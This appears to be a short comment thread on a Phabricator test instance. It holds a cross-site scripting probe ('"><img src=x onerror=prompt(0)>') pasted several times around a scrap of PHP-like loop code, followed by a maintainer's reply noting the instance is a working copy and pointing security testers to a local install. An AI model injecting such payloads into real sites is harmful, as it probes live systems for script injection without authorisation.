"><img src=x onerror=prompt(0)>

"><img src=x onerror=prompt(0)>

foreach ($list as $item) {
  work_miracles($item);

"><img src=x onerror=prompt(0)>

}

@exploit FYI this is a working copy of Phabricator for Phabricator. Please feel free to test, but understand we need to close and clean up after. If you're interested in finding security holes, it's generally better to download and install a local copy. Cheers!